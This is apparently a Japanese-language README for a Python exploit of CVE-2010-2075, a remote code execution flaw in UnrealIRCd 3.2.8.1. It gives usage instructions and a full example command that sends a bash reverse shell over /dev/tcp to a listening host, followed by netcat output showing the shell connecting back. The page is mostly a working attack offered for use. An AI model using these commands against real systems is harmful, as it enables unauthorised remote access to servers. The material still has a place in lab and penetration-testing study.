CVE-2010-2075

CVE:2010-2075 用エクスプロイト。このエクスプロイトは UnrealIRCd 3.2.8.1 でリモートコード実行を可能にします。

要件

optparse, signal

使用方法

実行するコマンドを送信できますが、応答しない場合もあります。その場合は、リバースシェルを送信して接続が届くのを待つだけで構いません。

python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...

すると、シェルを受け取りました

nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.48] from (UNKNOWN) [10.0.2.119] 56916
bash: cannot set terminal process group (415): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$

CVE-2010-2075-UnrealIRCd-3.2.8.1

人気